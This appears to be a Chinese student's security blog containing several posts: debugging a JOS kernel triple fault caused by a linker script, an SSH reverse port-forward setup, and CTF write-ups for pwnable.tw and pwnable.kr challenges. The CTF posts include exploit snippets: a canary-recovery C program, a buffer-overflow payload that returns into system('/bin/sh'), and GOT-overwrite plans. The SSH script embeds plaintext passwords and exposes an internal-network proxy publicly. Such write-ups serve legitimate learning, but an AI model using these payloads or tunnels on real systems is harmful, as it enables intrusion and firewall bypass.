YEL's BLOG


  • 首页

  • 分类

  • 关于

  • 归档

  • 标签

mit_os_lab1(Continuing)

发表于 2017-09-25

MIT_OS_lab1

小记

前两周面了华为和腾讯的安全岗,嗯,面得和屎一样,另外趋势和360也笔试就挂了,长亭今天邮件发来说我作为实习生可能都不够格,说到底是自己太菜了,都问到了操作系统和内核的问题,都不会。。。这方面知识太缺乏了,应该是各个方面的知识都太缺乏了,下定决心要潜心学习了,暑假看到过这个MIT的课程但是当时没有坚持下来,毕竟是英文的,而且自己还很菜,现在不打算去搞秋招了,把时间用来专心地研究!加油!

前奏

从MIT下载的JOS系统刚开始make后,make qemu一直不成功,出现这样的错误

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
root@kali:~/os/jos# make qemu
qemu-system-i386 -drive file=obj/kern/kernel.img,index=0,media=disk,format=raw -serial mon:stdio -gdb tcp::25000 -D qemu.log
EAX=00000000 EBX=00000000 ECX=000001a9 EDX=00000000
ESI=00000000 EDI=f0113000 EBP=f010ffc8 ESP=f010ffbc
EIP=f01015e8 EFL=00000046 [---Z-P-] CPL=0 II=0 A20=1 SMM=0 HLT=0
ES =0010 00000000 ffffffff 00cf9300 DPL=0 DS [-WA]
CS =0008 00000000 ffffffff 00cf9a00 DPL=0 CS32 [-R-]
SS =0010 00000000 ffffffff 00cf9300 DPL=0 DS [-WA]
DS =0010 00000000 ffffffff 00cf9300 DPL=0 DS [-WA]
FS =0010 00000000 ffffffff 00cf9300 DPL=0 DS [-WA]
GS =0010 00000000 ffffffff 00cf9300 DPL=0 DS [-WA]
LDT=0000 00000000 0000ffff 00008200 DPL=0 LDT
TR =0000 00000000 0000ffff 00008b00 DPL=0 TSS32-busy
GDT= 00007c4c 00000017
IDT= 00000000 000003ff
CR0=80010011 CR2=00000040 CR3=00112000 CR4=00000000
DR0=00000000 DR1=00000000 DR2=00000000 DR3=00000000
DR6=ffff0ff0 DR7=00000400
EFER=0000000000000000
Triple fault. Halting for inspection via QEMU monitor.

模拟器的画面如下
JOS_error_screen
在另一终端同一文件夹我们使用gdb来打印错误信息

1
2
3
4
5
6
7
8
9
10
11
root@kali:~/os/jos# gdb -q
+ target remote localhost:25000
warning: No executable has been specified and target does not support
determining executable automatically. Try using the "file" command.
The target architecture is assumed to be i386
=> 0xf01015e8: Error while running hook_stop:
Cannot access memory at address 0xf01015e8
0xf01015e8 in ?? ()
+ symbol-file obj/kern/kernel
gdb-peda$ x/i 0xf01015e8
=> 0xf01015e8 <memset+73>: Cannot access memory at address 0xf01015e8

可以看到系统运行停止的位置eip为0xf01015e8,x/i显示是memset函数,这样我们找到函数出错的地方了,那么我们在memset函数入口设置断点,查看是哪一个指令出现错误,上面系统已经终止运行,所以无法获取内存中的内容,重新make qemu-gdb,gdb,这样会在boot程序入口设置断点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
root@kali:~/os/jos# gdb -q
+ target remote localhost:25000
warning: No executable has been specified and target does not support
determining executable automatically. Try using the "file" command.
warning: A handler for the OS ABI "GNU/Linux" is not built into this configuration
of GDB. Attempting to continue with the default i8086 settings.
The target architecture is assumed to be i8086
[f000:fff0] 0xffff0: jmp 0xf000:0xe05b
0x0000fff0 in ?? ()
+ symbol-file obj/kern/kernel
gdb-peda$ b memset
Breakpoint 1 at 0xf010159f: file lib/string.c, line 123.
gdb-peda$ c
Continuing.
The target architecture is assumed to be i386
=> 0xf010159f <memset>: push ebp
Breakpoint 1, memset (v=0xf0111300, c=0x0, n=0x23a4) at lib/string.c:123
123 {
gdb-peda$ disassemble memset
Dump of assembler code for function memset:
=> 0xf010159f <+0>: push ebp
0xf01015a0 <+1>: mov ebp,esp
0xf01015a2 <+3>: push edi
0xf01015a3 <+4>: push esi
0xf01015a4 <+5>: push ebx
0xf01015a5 <+6>: mov edi,DWORD PTR [ebp+0x8]
0xf01015a8 <+9>: mov ecx,DWORD PTR [ebp+0x10]
0xf01015ab <+12>: mov eax,edi
0xf01015ad <+14>: test ecx,ecx
0xf01015af <+16>: je 0xf01015c6 <memset+39>
0xf01015b1 <+18>: test edi,0x3
0xf01015b7 <+24>: jne 0xf01015be <memset+31>
0xf01015b9 <+26>: test cl,0x3
0xf01015bc <+29>: je 0xf01015cb <memset+44>
0xf01015be <+31>: mov eax,DWORD PTR [ebp+0xc]
0xf01015c1 <+34>: cld
0xf01015c2 <+35>: rep stos BYTE PTR es:[edi],al
0xf01015c4 <+37>: mov eax,edi
0xf01015c6 <+39>: pop ebx
0xf01015c7 <+40>: pop esi
0xf01015c8 <+41>: pop edi
0xf01015c9 <+42>: pop ebp
0xf01015ca <+43>: ret
0xf01015cb <+44>: movzx edx,BYTE PTR [ebp+0xc]
0xf01015cf <+48>: mov eax,edx
0xf01015d1 <+50>: shl eax,0x8
0xf01015d4 <+53>: mov ebx,edx
0xf01015d6 <+55>: shl ebx,0x18
0xf01015d9 <+58>: mov esi,edx
0xf01015db <+60>: shl esi,0x10
0xf01015de <+63>: or ebx,esi
0xf01015e0 <+65>: or edx,ebx
0xf01015e2 <+67>: shr ecx,0x2
0xf01015e5 <+70>: or eax,edx
0xf01015e7 <+72>: cld
0xf01015e8 <+73>: rep stos DWORD PTR es:[edi],eax
0xf01015ea <+75>: mov eax,edi
0xf01015ec <+77>: jmp 0xf01015c6 <memset+39>
End of assembler dump.

可以看到发生错误时eip为 0xf01015e8 <+73>: rep stos DWORD PTR es:[edi],eax,这个指令适用于在edi位置存储ecx个eax,也就是说从edi开始到edi到edi+ecx的内存的每个DWORD全部被覆盖成eax,我们在这个地方设置断点看看,刚开始是否可以运行,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
gdb-peda$ b *0xf01015e8
Breakpoint 1 at 0xf01015e8: file lib/string.c, line 131.
gdb-peda$ c
Continuing.
The target architecture is assumed to be i386
=> 0xf01015e8 <memset+73>: rep stos DWORD PTR es:[edi],eax
Breakpoint 1, 0xf01015e8 in memset (v=0xf0111300, c=0x0, n=0x23a4) at lib/string.c:131
131 asm volatile("cld; rep stosl\n"
gdb-peda$ define xx
Type commands for definition of "xx".
End with a line saying just "end".
>si
>x/5i $eip
>i r
>end
gdb-peda$ xx
=> 0xf01015e8 <memset+73>: rep stos DWORD PTR es:[edi],eax
Breakpoint 1, 0xf01015e8 in memset (v=0xf0111300, c=0x0, n=0x23a4) at lib/string.c:131
131 asm volatile("cld; rep stosl\n"
=> 0xf01015e8 <memset+73>: rep stos DWORD PTR es:[edi],eax
0xf01015ea <memset+75>: mov eax,edi
0xf01015ec <memset+77>: jmp 0xf01015c6 <memset+39>
0xf01015ee <memmove>: push ebp
0xf01015ef <memmove+1>: mov ebp,esp
eax 0x0 0x0
ecx 0x8e8 0x8e8
edx 0x0 0x0
ebx 0x0 0x0
esp 0xf010ffbc 0xf010ffbc
ebp 0xf010ffc8 0xf010ffc8
esi 0x0 0x0
edi 0xf0111304 0xf0111304
eip 0xf01015e8 0xf01015e8 <memset+73>
eflags 0x46 [ PF ZF ]
cs 0x8 0x8
ss 0x10 0x10
ds 0x10 0x10
es 0x10 0x10
fs 0x10 0x10
gs 0x10 0x10

可以看到这个指令可以运行2次了,那么我们就不步进了,直接continue到错误发生地点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
gdb-peda$ disable 1
gdb-peda$ c
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
=> 0xf01015e8 <memset+73>: Error while running hook_stop:
Cannot access memory at address 0xf01015e8
0xf01015e8 in memset (v=<error reading variable: Cannot access memory at address 0xf010ffc0>,
c=<error reading variable: Cannot access memory at address 0xf010ffc4>, n=<error reading variable: Cannot access memory at address 0xf010ffc8>) at lib/string.c:131
131 asm volatile("cld; rep stosl\n"
gdb-peda$ i r
eax 0x0 0x0
ecx 0x1a9 0x1a9
edx 0x0 0x0
ebx 0x0 0x0
esp 0xf010ffbc 0xf010ffbc
ebp 0xf010ffc8 0xf010ffc8
esi 0x0 0x0
edi 0xf0113000 0xf0113000
eip 0xf01015e8 0xf01015e8 <memset+73>
eflags 0x46 [ PF ZF ]
cs 0x8 0x8
ss 0x10 0x10
ds 0x10 0x10
es 0x10 0x10
fs 0x10 0x10
gs 0x10 0x10
gdb-peda$ x/10wx 0xf0113000
0xf0113000 <charcode>: Cannot access memory at address 0xf0113000

可以看到这里,程序终止时ecx=0x1a9,edi=0xf0113000,ecx并没有变成0,也就是说还需要继续覆盖,但是这里终止了,由于操作系统可以访问任意地址,不存在无法读的问题,覆盖行为是写操作,导致终止的原因就很明显了,那就是向只读(readonly)区域执行了写操作,可以看到0xf0113000是charcode的内存,同时gdb告知了错误指令在lib/string.c:131,那么我们去查看string.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
121 void *
122 memset(void *v, int c, size_t n)
123 {
124 char *p;
125
126 if (n == 0)
127 return v;
128 if ((int)v%4 == 0 && n%4 == 0) {
129 c &= 0xFF;
130 c = (c<<24)|(c<<16)|(c<<8)|c;
131 asm volatile("cld; rep stosl\n"
132 :: "D" (v), "a" (c), "c" (n/4)
133 : "cc", "memory");
134 } else
135 asm volatile("cld; rep stosb\n"
136 :: "D" (v), "a" (c), "c" (n)
137 : "cc", "memory");
138 return v;
139 }

这里发生错误的原因在于传入的地址v是错误的,那么我们就要找到是哪个函数传入了这个参数,使用grep

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
root@kali:~/os/jos# grep -R memset *
inc/string.h:void * memset(void *dst, int c, size_t len);
kern/init.c: memset(edata, 0, end - edata);
lib/string.c:// Using assembly for memset/memmove
lib/string.c:memset(void *v, int c, size_t n)
lib/string.c:memset(void *v, int c, size_t n)
Binary file obj/kern/kernel.img matches
obj/kern/kernel.asm: memset(edata, 0, end - edata);
obj/kern/kernel.asm:f01000ca: e8 d0 14 00 00 call f010159f <memset>
obj/kern/kernel.asm:f010159f <memset>:
obj/kern/kernel.asm:memset(void *v, int c, size_t n)
obj/kern/kernel.asm:f01015af: 74 15 je f01015c6 <memset+0x27>
obj/kern/kernel.asm:f01015b7: 75 05 jne f01015be <memset+0x1f>
obj/kern/kernel.asm:f01015bc: 74 0d je f01015cb <memset+0x2c>
obj/kern/kernel.asm:f01015ec: eb d8 jmp f01015c6 <memset+0x27>
Binary file obj/kern/string.o matches
obj/kern/kernel.sym:f010159f T memset
Binary file obj/kern/init.o matches
Binary file obj/kern/kernel matches
————————————————————————————————————————————
make时的记录
+ as kern/entry.S
+ cc kern/entrypgdir.c
+ cc kern/init.c
+ cc kern/console.c
+ cc kern/monitor.c
+ cc kern/printf.c
+ cc kern/kdebug.c
+ cc lib/printfmt.c
+ cc lib/readline.c
+ cc lib/string.c
+ ld obj/kern/kernel
+ as boot/boot.S
+ cc -Os boot/main.c
+ ld boot/boot
boot block is 390 bytes (max 510)
+ mk obj/kern/kernel.img

程序都有一个entry入口,整个内核的执行顺序也和这个make的编译顺序差不多,结合上面的搜索,我们把memset错误参数的传入的位置初步确定在init.c,查看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
22 void
23 i386_init(void)
24 {
25 extern char edata[], end[];
26
27 // Before doing anything else, complete the ELF loading process.
28 // Clear the uninitialized global data (BSS) section of our program.
29 // This ensures that all static/global variables start out zero.
30 memset(edata, 0, end - edata);
31
32 // Initialize the console.
33 // Can't call cprintf until after we do this!
34 cons_init();
35
36 cprintf("6828 decimal is %o octal!\n", 6828);
37
38 // Test the stack backtrace function (lab 1 only)
39 test_backtrace(5);
40
41 // Drop into the kernel monitor.
42 while (1)
43 monitor(NULL);
44 }

结合之前发生错误时的截屏中没有打印

1
2
3
4
5
6
7
8
9
10
11
12
13
6828 decimal is XXX octal!
entering test_backtrace 5
entering test_backtrace 4
entering test_backtrace 3
entering test_backtrace 2
entering test_backtrace 1
entering test_backtrace 0
leaving test_backtrace 0
leaving test_backtrace 1
leaving test_backtrace 2
leaving test_backtrace 3
leaving test_backtrace 4
leaving test_backtrace 5

所以我们把传入错误参数的位置最终确定在init.c i386_init(void)这个函数中的memset(edata, 0, end - edata),接下来就要找这edata在哪里定义,是extern变量,那么我们用grep继续查找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
root@kali:~/os/jos# grep -R edata *
kern/kernel.ld: PROVIDE(edata = .);
kern/monitor.c: extern char _start[], entry[], etext[], edata[], end[];
kern/monitor.c: cprintf(" edata %08x (virt) %08x (phys)\n", edata, edata - KERNBASE);
kern/init.c: extern char edata[], end[];
kern/init.c: memset(edata, 0, end - edata);
Binary file obj/kern/kernel.img matches
obj/kern/kernel.asm: extern char edata[], end[];
obj/kern/kernel.asm: memset(edata, 0, end - edata);
obj/kern/kernel.asm: extern char _start[], entry[], etext[], edata[], end[];
obj/kern/kernel.asm: cprintf(" edata %08x (virt) %08x (phys)\n", edata, edata - KERNBASE);
obj/kern/kernel.sym:f0111300 D edata
Binary file obj/kern/monitor.o matches
Binary file obj/kern/init.o matches
Binary file obj/kern/kernel matches
Binary file obj/boot/boot.out matches

其他地方都是引用,只有在kern/kernel.ld: PROVIDE(edata = .);出现了类似定义的字样,赶紧去学一会链接器的知识,发现这个语法确实是定义。结合前面i386_init函数memset前的三句注释,我们可以得知这个edata是bss段的开始地址,end是bss段的结束位置。

1
2
3
27 // Before doing anything else, complete the ELF loading process.
28 // Clear the uninitialized global data (BSS) section of our program.
29 // This ensures that all static/global variables start out zero.

打开kern/kernel.ld,找到定义该变量的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
42 /* Adjust the address for the data segment to the next page */
43 . = ALIGN(0x1000);
44
45 /* The data segment */
46 .data : {
47 *(.data)
48 }
49
50 PROVIDE(edata = .);
51
52 .bss : {
53 *(.bss)
54 }
55
56 PROVIDE(end = .);

好像是没什么问题这个定义,我又去xv6-os的ld文件看了一下,也是这样定义的,那问题处在哪呢?我们可以看一眼最终可执行文件的段的地址,objdump

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root@kali:~/os/jos# objdump -h ./obj/kern/kernel
./obj/kern/kernel: file format elf32-i386
Sections:
Idx Name Size VMA LMA File off Algn
0 .text 000019d9 f0100000 00100000 00001000 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
1 .rodata 000006c0 f01019e0 001019e0 000029e0 2**5
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .stab 00003bb9 f01020a0 001020a0 000030a0 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .stabstr 00001958 f0105c59 00105c59 00006c59 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .data 00009300 f0108000 00108000 00009000 2**12
CONTENTS, ALLOC, LOAD, DATA
5 .got 00000008 f0111300 00111300 00012300 2**2
CONTENTS, ALLOC, LOAD, DATA
6 .got.plt 0000000c f0111308 00111308 00012308 2**2
CONTENTS, ALLOC, LOAD, DATA
7 .data.rel.local 00001000 f0112000 00112000 00013000 2**12
CONTENTS, ALLOC, LOAD, DATA
8 .data.rel.ro.local 00000044 f0113000 00113000 00014000 2**2
CONTENTS, ALLOC, LOAD, DATA
9 .bss 00000644 f0113060 00113060 00014044 2**5
ALLOC
10 .comment 0000001c 00000000 00000000 00014044 2**0
CONTENTS, READONLY

可以看到0xf0113000是.data.rel.ro.local这个段的地址,这个段是用来于重定位的,并设置了readonly标志,显然edata不是bss段的开始,那么要修改它变成bss的开始地址(在xv6-os中的edata是可用的原因是xv6编译时完全重载,所以没有这个重定位的段got,plt等等,data段直接与bss段相连)。

1
2
3
4
5
6
7
8
9
10
11
12
45 /* The data segment */
46 .data : {
47 *(.data)
48 }
49
50
51 .bss : {
52 edata = .;
53 *(.bss)
54 }
55
56 PROVIDE(end = .);

把edata放入.bss定义中,总算成功了,不知道这样做规范不规范,whatever,it works.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
t@kali:~/os/jos# make clean
rm -rf obj .gdbinit jos.in qemu.log
root@kali:~/os/jos# make
+ as kern/entry.S
+ cc kern/entrypgdir.c
+ cc kern/init.c
+ cc kern/console.c
+ cc kern/monitor.c
+ cc kern/printf.c
+ cc kern/kdebug.c
+ cc lib/printfmt.c
+ cc lib/readline.c
+ cc lib/string.c
+ ld obj/kern/kernel
+ as boot/boot.S
+ cc -Os boot/main.c
+ ld boot/boot
boot block is 390 bytes (max 510)
+ mk obj/kern/kernel.img
root@kali:~/os/jos# make qemu
sed "s/localhost:1234/localhost:25000/" < .gdbinit.tmpl > .gdbinit
qemu-system-i386 -drive file=obj/kern/kernel.img,index=0,media=disk,format=raw -serial mon:stdio -gdb tcp::25000 -D qemu.log
6828 decimal is XXX octal!
entering test_backtrace 5
entering test_backtrace 4
entering test_backtrace 3
entering test_backtrace 2
entering test_backtrace 1
entering test_backtrace 0
leaving test_backtrace 0
leaving test_backtrace 1
leaving test_backtrace 2
leaving test_backtrace 3
leaving test_backtrace 4
leaving test_backtrace 5
Welcome to the JOS kernel monitor!
Type 'help' for a list of commands.
K>

一点刚学习到的内容
内联汇编1
内联汇编2
ld链接器语法1
ld链接器语法2

ssh端口转发

发表于 2017-09-01

缘由

社团里面采购了一台服务器,设备放在校园网内网里面,由于校园网对外网没有开放端口,所以无法从外网连接,所以我要做一个端口转发,将内网的端口映射到外网的服务器上,这里自然使用的是反向代理,要从内网向外网连接,建立端口映射。

ssh端口转发

ssh端口转发有本地转发、远程转发、动态转发等

1.本地转发

1
ssh -L <local port>:<remote host>:<remote port> <SSH hostname>

这条命令在ssh_client上运行

其中ssh_server = <.SSH hostname>

TCP连接方向 ssh_client:local_port –> ssh_client:22 –> ssh_server:22 –> remote_host:port

remote_host:remote_port 相对于 <.SSH hostname>

local port 相对于ssh_client

2.远程转发

1
ssh -R <remote port>:<remote host>:<local port> <SSH hostname>

执行命令的是ssh_client

ssh_server = <.SSH hostname>

remote_host:remote_port 相对于 <.SSH hostname>

local_port 相对于ssh_client

3.动态转发

1
ssh -D <local port> <SSH Server>

4.多主机转发

1
ssh -g -L 7001:<B>:389 <D>

本次实现

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/expect
spawn ssh -CfnNTq -D 12306 localhost
expect "password:"
send "toor\r"
expect eof
spawn ssh -CfnNTq -R *:1034:localhost:12306 user@123.206.211.64
expect "password:"
send "pwd\r"
expect eof

首先在内网建立一个动态转发,本地端口为12306;

然后内网服务器和外网之间建立一个远程转发,把内网的本地12306端口映射到远程服务器的1034端口,‘*:’表示任意地址可以访问外网服务器的1034端口。这个选项的使用要在外网服务器中的/etc/ssh/sshd_config中的GatewayPorts关键字设置为yes。

然后其他电脑把外网服务器的1034端口作为sock5代理即可连接内网。

参考
https://www.ibm.com/developerworks/cn/linux/l-cn-sshforward/index.html
http://lvii.github.io/system/2013/10/08/ssh-remote-port-forwarding/

pwnable_tw_2

发表于 2017-08-25

babystack

0x01

刚开始这题一点思路都没有,连溢出点都没有找到。后来参考了
http://pzhxbz.cn/?p=91
https://github.com/dr0gba/dr0gba.github.io/blob/master/pwn/babystack.md
这两个文章,后者是在github上搜索到的exp。
其实还是有些摸不到头脑的,这印证了一句话“学而不思则罔,思而不学则殆”,单纯的想是不会有结果的,要结合实践去了解,这里得到的几个教训是:

1.不去动态调试,永远不知道栈上的信息有多丰富
2.strcpy拷贝的字符串要验证长度
3.strncmp(*str,*str,num),num=0时,这个函数返回值是0,即两个字符串相等。
4.x64的参数调用的方式使得漏洞的利用方式需要使用one_gadgets,或者使用ROP。

程序逻辑:

输入 1 :login and logout
输入 2 :使用exit()退出程序
输入 3 :使用strcpy()向main函数的一个数组中copy

0x02 leak

虽然我们可以使用登录时按一个回车键(即发送’\x0a’)来绕过登陆,但是后面的使用发现登录密码还是要知道的。那么怎么获取登陆密码呢,我对这种爆破信息不怎么敏感,所以想不到密码是固定的,然后密码的比对是这样的

1
2
3
4
5
6
7
8
readn(&s, 0x7Fu);
v1 = strlen(&s);
if ( !strncmp(&s, buf_addr, v1) )
{
log_flag = 1;
result = puts("Login Success !");
}
else

也就是说,它密码的比对,长度是由输入来决定的,所以我们可以一个一个字节来爆破密码,这样我们可以获取密码。但是这个密码在栈中的作用就相当于一个canary,除了这个我们还需要获取获取地址信息才可以完成利用。

main函数栈中的变量分布

1
2
3
4
char v6; // [sp+0h] [bp-60h]@14
__int64 passcode; // [sp+40h] [bp-20h]@1
__int64 v8; // [sp+48h] [bp-18h]@1
char choise; // [sp+50h] [bp-10h]@2

这里获取libc地址的方法是:利用3拷贝来将copy()函数中的信息拷贝到main()函数栈中,发现copy()函数栈中有一个libc(setvbuf)的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0000| 0x7fffffffe080 --> 0x7ffff7ffe700 --> 0x7ffff7ffa000 (jg 0x7ffff7ffa047)
0008| 0x7fffffffe088 --> 0x7fffffffe120 --> 0x1
0016| 0x7fffffffe090 --> 0x7fffffffdf00 --> 0x0
0024| 0x7fffffffe098 --> 0x7ffff7ffe4c0 --> 0x7ffff7ffe420 --> 0x7ffff7ff5a50 --> 0x7ffff7ffe168 --> 0x555555554000 (--> ...)
0032| 0x7fffffffe0a0 --> 0x7ffff7b9ba47 ("__vdso_getcpu")
0040| 0x7fffffffe0a8 --> 0x7fffffffe170 --> 0x7fffffff0a33 --> 0x0
0048| 0x7fffffffe0b0 --> 0x7ffff7dd4620 --> 0xfbad2887
0056| 0x7fffffffe0b8 --> 0x7ffff7a8b947 (cmp eax,0xffffffff)
0064| 0x7fffffffe0c0 --> 0x7ffff7dd4620 --> 0xfbad2887
0072| 0x7fffffffe0c8 --> 0x7ffff7ff2700 (0x00007ffff7ff2700)
0080| 0x7fffffffe0d0 --> 0x555555554b70 (xor ebp,ebp)
0088| 0x7fffffffe0d8 --> 0x7ffff7a88439 (<_IO_file_setbuf+9>: test rax,rax)
0096| 0x7fffffffe0e0 --> 0x7ffff7dd4620 --> 0xfbad2887
0104| 0x7fffffffe0e8 --> 0x7ffff7a7ffb4 (<setvbuf+324>: xor edx,edx)

copy()函数是将 char src; // [sp+10h] [bp-80h]@1这个局部变量copy到给定的参数的位置,由于字符串没有做截止处理,所以我们可以copy很多信息到main()函数栈中的v6变量处,我们设置好copy的内容(passcod等),恰好将这个setvbuf的地址信息copy到main函数中的&choise+8这个位置,然后我们又可以通过爆破登录信息来获取这个地址信息。

其实main函数的ret_addr其实也有地址信息,但是我们爆破不了,因为ebp里面的地址是6位字节的,也就是说最后有两位字节是’\x00’,密码比对使用的是strncmp(),也就是说后面的信息被截止了,我们无法获取,就算使用copy()也会引入’\x00’,使得我们想要爆破的地方信息被截止或者覆盖,所以不可行。

0x03 exploit

leak完成后,利用就很简单了,使用one_gadgets覆盖返回地址即可,构造需要copy()的内容即可

payload = padding + passcode + padding + one_gadgets

one_gadgets查找工具:https://github.com/david942j/one_gadget

exp在这里

Spirited Away

0x01

评论超过10即溢出了一位,comment>100,sprintf连接后的字符串溢出两位,comment在栈上可以溢出写到name这个指针上,然后把name指针指向栈中reason中构造的fake_chunk,free后重新malloc,name指针就可以指向栈,并且可写。

0x02 leak

栈中有很多地址信息,而且输入字符串不闭合,这样可以把栈中的地址泄露出来,可以获取栈地址、堆地址和libc地址。

0x03 exploit

这里由于栈底的reason无法溢出写,所以要构造一个fake_chunk,然后free了之后,重新malloc,将name指针指向了reason区域,这样我们就可以溢出写到ret_addr了

这里构造fake_chunk的方法参考how2heap的house_of_sprit。

另外感谢uafio这位前辈,发邮件去问他这题,他告诉了我这个方法~

pwnable_kr_2

发表于 2017-08-16

pwnable_kr_1

发表于 2017-08-10

brain fuck

0x01

这题使用了六个个运算符来修改p指针以及所指的内容

1
2
3
4
5
6
> p++
< p--
+ ++(*p)
- --(*p)
. putchar(*p)
, *p = getchar()

初始位置p->0x0804A0A0(tape),这样我们可以根据前面的运算符来修改p指向的地址,如将p指向got,然后将got表内地址篡改到我们想要的地址,就可以控制程序流的执行。

0x02 leak

利用”<”、”>”运算符将p移到got表,利用“.”运算符将got表内地址读取,即可完成地址泄露。

0x03 利用方法

刚开始我的想法是将putchar的got读出来后,篡改putchar的got为system的地址,然而后面发现putchar的参数其实是一个字符而不是地址。想法一失败

1
2
3
4
5
0x804863a <do_brainfuck+94>: mov eax,ds:0x804a080
0x804863f <do_brainfuck+99>: movzx eax,BYTE PTR [eax]
=> 0x8048642 <do_brainfuck+102>: movsx eax,al
0x8048645 <do_brainfuck+105>: mov DWORD PTR [esp],eax
0x8048648 <do_brainfuck+108>: call 0x80484d0 <putchar@plt>

然后我想到的是选择strlen()作为got中修改的对象。

1
2
for ( i = 0; i < strlen((const char *)&v6); ++i )
do_brainfuck(*((_BYTE *)&v6 + i));

然后就是修改了一个字节以后这个循环就进行不下去了,错误推出

只好去网上找前辈的方案:rickgrey

发现原来是这样利用的:
将got修改成下面的样子:

1
2
3
memset.got = gets_addr
fgets.got = system_addr
putchar.got = main_addr

这样在我们就改好got表时,使用“.”就可以将控制流牵引到main程序开始,由于got表内已经设置好了地址,在调用memset时就会调用gets()函数,然后我们输入‘/bin/sh’,就会将这串字符存到栈中,随后调用fgets()时,实际上是调用system,参数就是我们刚刚输入的字符串的地址。

这里是exp

md5 calculator

0x01

刚开始硬是没找出来溢出点。。。倒是去了解了一下MD5和BASE64,还是去前一题前辈的博客去取经了
rickgrey
找到了溢出点:可以输入1024个BASE64字符,但是给decode后存储的字符空间只有0x200=512,1024个BASE64字符最多可以解码成1024/4*3 = 738 个字符,所以存在溢出。

1
2
3
fgets(g_buf, 1024, stdin);
memset(&v3, 0, 0x200u);
v0 = Base64Decode(g_buf, (int)&v3);

但是问题来了,process_hash()函数的栈上有canary,想要覆盖返回地址就需要把canary的值找到。
然后在my_hash()函数中找到了canary在验证码中也被使用,也就是验证码中有canary的信息,怎么提取是一个问题,
还是学前辈的姿势:my_hash()函数中使用了8次rand()函数,并取其中七个值和canary一起来构建验证码。

1
2
3
4
5
6
7
8
9
10
11
v4 = *MK_FP(__GS__, 20);
for ( i = 0; i <= 7; ++i )
*(_DWORD *)&v3[4 * i] = rand();
result = *(_DWORD *)&v3[16]
- *(_DWORD *)&v3[24]
+ *(_DWORD *)&v3[28]
+ v4
+ *(_DWORD *)&v3[8]
- *(_DWORD *)&v3[12]
+ *(_DWORD *)&v3[4]
+ *(_DWORD *)&v3[20];

然后就是前面的srand()函数使用的随机数种子是系统的时间。并且在第一次获取后没有改变,也就是说种子一直没有改变。
考虑到这个,由于产生的伪随机数,只要种子不变产生的随机数序列是不变的。这样我们可以通过获取系统时间,然后产生8个随机数,
将canary反推出来。这样就可以覆盖栈上的返回地址了,还可以设置参数。

0x02 leak

这里我们不需要leak地址,因为函数中已经调用了system,所以我们的返回地址可以设置为
system.plt、或者是main()函数中的call system的地址。

0x03 exploit

反推canary源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include<stdio.h>
#include<stdlib.h>
int main(int argc, char** argv){
int t ;
int c ;
int canary = 0;
int num[8];
int i;
t = atoi(argv[1]);
c = atoi(argv[2]);
srand(t);
for(i=0;i<=7;i++){
num[i] = rand();
printf("%d:%x\n",i,num[i]);
}
canary = c + num[6] + num[3] - num[1] - num[2] - num[4] - num[5] -num[7];
printf("canary:%x\n",canary);
return 0;
}

设置栈分布:

1
2
padding + canary + padding + ret_addr + padding + sh_str
0x200 0x04 0x0c system.plt 0x04 (0x0804B0E0 + 0x21c*4/3)

playload

1
2
3
playload = 'A'*0x200 + p32(canary)*4 + \
p32(system_plt) + p32(0x8048a00) + p32(sh_str)
r.sendline(b64e(playload) + '/bin/sh\x00')

这里是exp
canary

另外一个有趣的东西是:如何获取服务器的时间,题目中给出的提示是

hint : this service shares the same machine with pwnable.kr web service

那么很自然的或者说是正统的做法是web获取服务器的时间,然后用这个时间来复现canary,但是时间确实是不准的
即使加入一个随机的延迟或者说超前都是很看概率的问题。最后就是将exp上传至服务器本地(使用其他题的账户),然后运行
我一直觉得这样是不行的原因是之前有个瓜皮传了一个pwn.py到/tmp/文件夹,然后在服务器上就不能使用pwntools,所以很难受。

pwnable_tw_1(未完待续)

发表于 2017-08-06

0x1

这题本来一点思路都没有,然后看到别人说的read_int可以是负数啊,这样就可以往任意地址写内容了~我们往GOT中写入我们的shellcode的地址,然后再去调用被覆盖的函数。

0x02

但是关键是shellcode的编写。输入会被一个叫is_printable()的函数过滤,函数原型如下。

1
2
3
4
5
6
7
8
9
10
11
int __cdecl is_printable(char *s)
{
size_t i; // [sp+Ch] [bp-Ch]@1
for ( i = 0; strlen(s) > i; ++i )
{
if ( s[i] <= 31 || s[i] == 127 )
return 0;
}
return 1;
}

这里虽然是s[i] <= 31 以及 s[i] == 0x7F 这两个条件会被过滤,但是在实际的shellcode调试中发现,s[i] <= 31 这个东西里面大有名堂,在汇编里面这个条件判别是这样的

1
2
.text:08048713 cmp al, 1Fh
.text:08048715 jle short loc_8048726

